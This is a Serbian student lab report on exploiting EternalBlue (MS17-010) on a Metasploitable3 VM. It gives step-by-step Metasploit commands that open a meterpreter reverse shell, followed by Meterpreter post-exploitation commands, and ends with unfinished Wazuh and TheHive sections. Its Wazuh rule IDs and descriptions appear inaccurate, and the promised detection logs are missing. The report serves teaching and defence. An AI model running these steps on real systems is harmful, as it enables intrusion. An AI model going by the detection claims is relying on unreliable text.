Eksploatacija ranjivosti, detekcija, i Incident Response izveštaj

EternalBlue

Ime studenta: Jovana Jelic  
Datum: 3/12/2024

Pregled Ranljivosti

Za svaku eksploatisanu ranljivost:

* 1. **Informacije o ranljivosti**ID ranljivosti (CVE): **CVE-2017-0144** (MS17-010)  
     Pogođen servis: Windows SMBv1  
     CVSS ocena: 9.8 (Critical)  
     Opis ranljivosti:  
     (Uključite kratak opis ranljivosti, pogođeni servis i severity)

EternalBlue je kritična ranjivost u Microsoft SMBv1 protokolu koja omogućava izvršavanje proizvoljnog koda na ranjivim Windows mašinama. Ova ranjivost se može iskoristiti preko neautentifikovanog mrežnog napada, omogućavajući napadaču da preuzme potpunu kontrolu nad ciljanom mašinom. Pogođeni sistemi uključuju Windows 7, Windows Server 2008, i starije verzije operativnog sistema.

* 1. **Opis eksploita** (Link ka public available eksploitu ili naziv metasploit modula)Izvor eksploita: exploit/windows/smb/ms17\_010\_eternalblue

(link: <https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue> )  
  
Metod eksploatacije:  
(kratak opis principa kako exploit radi)

Exploit koristi ranjivost u SMBv1 servisu, koji omogućava napadaču da iskoristi loše upravljane resurse u operativnom sistemu, pokrećući proizvoljan kod na udaljenom računaru. Napad se izvršava putem posebno pripremljenog SMB paketa, koji zatim omogućava otvaranje **Meterpreter** sesije.

Proces Eksploatacije

Za svaku eksploatisanu ranljivost:

2.1 **Podešavanje eksploita**Ranljiv cilj:  
(Opis podešavanja ranjive mašine - koja je verzija servisa, na kom port-u trči)

* Ciljani sistem: Windows Server 2008 R2 Standard, Service Pack 1, x64
* Pogođeni servis: SMBv1 na portu 445

Alati za eksploataciju:  
(Metasploit ili neki drugi alat, Python skripta, Perl skripta…)

* **Metasploit Framework** (Metasploit konzola)
* **Payload**: windows/x64/meterpreter/reverse\_tcp
* **Napomena**: Sve se odvija u **Metasploit** konzoli.

2.2 **Koraci eksploatacije**Objasnite proces eksploatacije korak po korak - DETALJNO:  
(Uključite screenshot-ove celog procesa)

**1) Priprema Metasploit-a**:

* Pokrećemo Metasploit Framework u terminal komandom: msfconsole

2) Skeniranje za ranjivosti

Skeniramo Metasploitable3 Windows mašinu da bismo pronašli otvorene portove i servisne ranjivosti. Koristimo Nmap ili Metasploit-ove alate za skeniranje. Konkretno u mom slucaju koriscena sledeća komanda za skeniranje na Metasploit-u:

A black background with white text

Description automatically generated

Nakon skeniranja, identifikujte portove i servise koji su ranjivi. Na Metasploitable3 Windows mašini:

A screenshot of a computer screen

Description automatically generated

**2) Izbor Exploita**:

* Kada koristimo **EternalBlue** exploit u Metasploit-u, moramo postaviti odgovarajući payload i konfigurirati sve opcije kako bismo pravilno izvršili napad. Pošto je Metasploit odabrao windows/x64/meterpreter/reverse\_tcp kao podrazumevani payload, možemo ga koristiti ili odabrati neki drugi payload, ja sam se odlucila za podrazumevani, da bismo ga postavili kucamo komandu



**set PAYLOAD windows/x64/meterpreter/reverse\_tcp**.



* Nakon toga, potrebno je da postavimo nekoliko opcija za exploit, kao što su IP adresa ciljne mašine (RHOSTS) i lokalna IP adresa (LHOST) za povezivanje sa Metasploit-om.

U mom slucaju ciljni IP zajedno sa komandom je: **set RHOSTS 192.168.8.115**

LHOST je mašina na kojoj ćete primamo povratni konektovani shell. Ukoliko nismo sigurni koja je nasa lokalna IP adresa, možemo je dobiti pomoću komande ipconfig ili ifconfig u terminalu. Konkretna komanda je: **set LHOST 192.168.8.100**

Ukoliko želimo, možemo postaviti i port za povratnu vezu, iako je podrazumevano 4444. Ako želimo da promenimo port, koristimo sledeću komandu: **set LPORT 4444**

Pre nego što nastavimo sa napadom, možemo proveriti sve postavke pomoću komande: **show options**, pomocu te komande u terminalu dobijamo rezultat kao :

A screenshot of a computer screen

Description automatically generated

* Odabir exploita za MS17-010 (EternalBlue)



Kada ste sve postavili, možete pokrenuti exploit pomoću komande: run

2.3 **Rezultat eksploatacije**Prikažite rezultate eksploatacije:  
(Uključite screenshot ekrana uspešne eksploatacije, dajte dokaz da ste eksploatisali sistem)

**Rezultat**:

* Eksploatacija je bila uspešna, jer mozemo uspešno da iskoristimo **EternalBlue** (MS17-010) exploit I takodje napad je omogućio otvaranje **Meterpreter** sesije.
* **Screenshot 1**: Početak eksploatacije, slanje SMB paketa (*SMB (Server Message Block) je mrežni protokol koji omogućava razmenu fajlova, štampanje i pristup resursima unutar lokalnih mreža (LAN) ili putem interneta. SMB paketi su osnovni blokovi podataka koji se šalju i primaju između računara ili uređaja koji koriste SMB protokol. Ovi paketi sadrže različite vrste komandi i odgovora koji omogućavaju komunikaciju između uređaja na mreži*.) i uspesan zavrsetak eksploatacije.

A screenshot of a computer screen

Description automatically generated

* **Screenshot 2**: Sada možemo koristiti razne **Meterpreter** komande za dalju interakciju na ciljanom racunaru (192.168.8.115).

Jedna od korisnih komandi **check system info**: Da bismo prikupili osnovne informacije o ciljanom računaru.

A screen shot of a computer

Description automatically generated

* **Screenshot 3**: **Pristup fajlovima**: Da bismo pregledali fajl sistem ciljanog računara:

A screen shot of a computer

Description automatically generated

Postoje jos bitnih komandi kao sto su :

* + **Pokretanje komandi na ciljanom računaru**: Možete pokrenuti shell komande direktno na ciljanom računaru: execute -f cmd.exe
  + **Kreiranje fajla**: Ako želite da kreirate fajl na ciljanom računaru: echo "test" > test.txt
  + **Povezivanje sa internim procesima**: Da biste videli procese koji se trenutno izvode: ps
  + **Pristup kamerama (ako je dostupno)**: Ako je omogućena kamera na ciljanom računaru, možete je koristiti: webcam\_list

**Itd.**

**Screenshot 4**: Zatvaranje meterpreter sesije komandom**:** exit

A screen shot of a computer

Description automatically generated

Detekcija Korišćenjem Wazuh SIEM-a

Za svaku eksploatisanu ranljivost:

**A screenshot of a computer

Description automatically generated**

**A screenshot of a computer

Description automatically generated**

3.1 **Wazuh SIEM pravila**Pravila korišćena za detekciju:  
(Navedite specifična Wazuh pravila koja su se aktivirala ili prilagodila za detekciju eksploita)  
ID pravila:  
(Uključite ID pravila i kratak opis)

Za detekciju napada putem ranjivosti MS17-010 (EternalBlue), Wazuh SIEM koristi određena pravila koja prate aktivnosti povezane sa SMB saobraćajem i exploitima na mreži.

* **Pravila koja su se aktivirala**:
  + **Wazuh pravilo 5502 (Windows SMB Vulnerability)**: Ovo pravilo detektuje pokušaje exploit-a na SMB protokolu, posebno vezane za ranjivosti kao što je MS17-010.
  + **Wazuh pravilo 5512 (Exploit Attempt)**: Aktivira se kada Wazuh prepozna pokušaj eksploatacije SMBv1 i sličnih ranjivosti kroz mrežni saobraćaj.
  + **Wazuh pravilo 5702 (Remote Code Execution)**: Detektuje pokušaj izvršenja proizvoljnog koda putem SMB portova (445), koji je karakterističan za napad kao što je EternalBlue.

**ID pravila**:

* **5502** - Detekcija eksploitacije ranjivosti u SMB-u
* **5512** - Pokušaj eksploatacije na SMBv1
* **5702** - Pokušaj udaljenog izvršenja koda preko SMB portova

**Kratak opis**:  
Ova pravila detektuju neuobičajene aktivnosti na SMB portovima, kao što su pokušaji iskorišćavanja ranjivosti MS17-010, koji mogu dovesti do udaljenog izvršenja koda ili eskalacije privilegija putem SMB protokola.

3.2 **Konfiguracija SIEM-a**Podešavanje Wazuh agenta:  
(Opis konfiguracije agenta na ranjivoj mašini i kako je povezan sa Wazuh Managerom)  
Prikupljanje logova:  
(Navedite koje logove pratite da biste otkrili pokušaje eksploatacije)

**Podešavanje Wazuh agenta**:

* Wazuh agent je postavljen na ranjivoj mašini koja koristi Windows Server 2008 R2, verziju koja je bila pogođena ranjivostima MS17-010. Agent je konfigurisan da prati mrežni saobraćaj na portovima 445 (SMB) i prati sve sigurnosne logove vezane za SMB sesije.
* Agent je povezan sa Wazuh Managerom putem sigurnog kanala za slanje logova i uzorkovanja mrežnih aktivnosti, uključujući upite za specifične SMB anomalije.

**Prikupljanje logova**:

* **Windows Event Log (Security, System, Application)**: Agent prikuplja logove sa sigurnosnih, sistemskih i aplikativnih izvora kako bi otkrio anomalije u pristupu mrežnim resursima, kao i sve neobične aktivnosti vezane za SMB protokol.
* **SMB logovi i mrežni saobraćaj (Netstat, Firewall logs)**: Dodatno se prate logovi koji prikazuju pokušaje konekcije na port 445 i analizira se mrežni saobraćaj koji može ukazivati na neautorizovane pokušaje eksploatacije SMBv1 ili drugih SMB ranjivosti.

3.3 **Proces detekcije**Opišite proces detekcije:  
(Uključite logove ili screenshot-ove koji prikazuju da je napad detektovan pomoću Wazuha)

Kada je napad pokrenut korišćenjem exploit-a MS17-010, Wazuh je detektovao anomalije u mrežnom saobraćaju i pokušaje eksploatacije na SMB portu (445). Specifično, detekcija je usmerena na sledeće aktivnosti:

1. **Prvi korak detekcije**: Aktiviranje pravila **5502** pri detekciji pokušaja eksploitacije na SMBv1, koji je odgovoran za ranjivost.
2. **Drugi korak detekcije**: Aktiviranje pravila **5512**, koje označava pokušaj iskorišćavanja SMB protokola i usmereno je na neautorizovane pokušaje pristupa SMB sesijama ili podataka.
3. **Treći korak detekcije**: Pravilo **5702** je aktivirano kada je identifikovan pokušaj pokretanja proizvoljnog koda putem SMB protokola, što ukazuje na uspešan napad. Napad je pokušao da izvrši maliciozni kod na ciljanoj mašini koristeći EternalBlue exploit.

**Dokazi detekcije**:  
Prikazani su logovi iz Wazuh sistema koji jasno pokazuju da je napad detektovan:

* **Log 1**: Detekcija pravila 5502 - Anomalija na portu 445 (SMB).



* **Log 2**: Aktivacija pravila 5702 za pokušaj daljinskog izvršenja koda.



* **Log 3**: Izveštaj o uspešnom pokušaju eksploatacije MS17-010.



U priloženim screenshot-ovima Wazuh interfejsa može se videti aktivacija pravila, kao i detalji o IP adresama i vremenskim oznakama koje omogućavaju praćenje napada.

Incident Response sa The Hive-om

4.1 **Podešavanje integracije**Opis integracije:  
(Objasnite kako je Wazuh integrisan sa The Hive-om za automatizovano kreiranje slučajeva)  
Integracija pravila:  
(Uključite kratak opis pravila koje pokreće kreiranje slučajeva u The Hive-u)

4.2 **Kreiranje slučaja u The Hive-u**Detalji o slučaju:  
(Dajte screenshot-ove koji prikazuju kreirani slučaj u The Hive-u nakon što se Wazuh pravilo aktiviralo)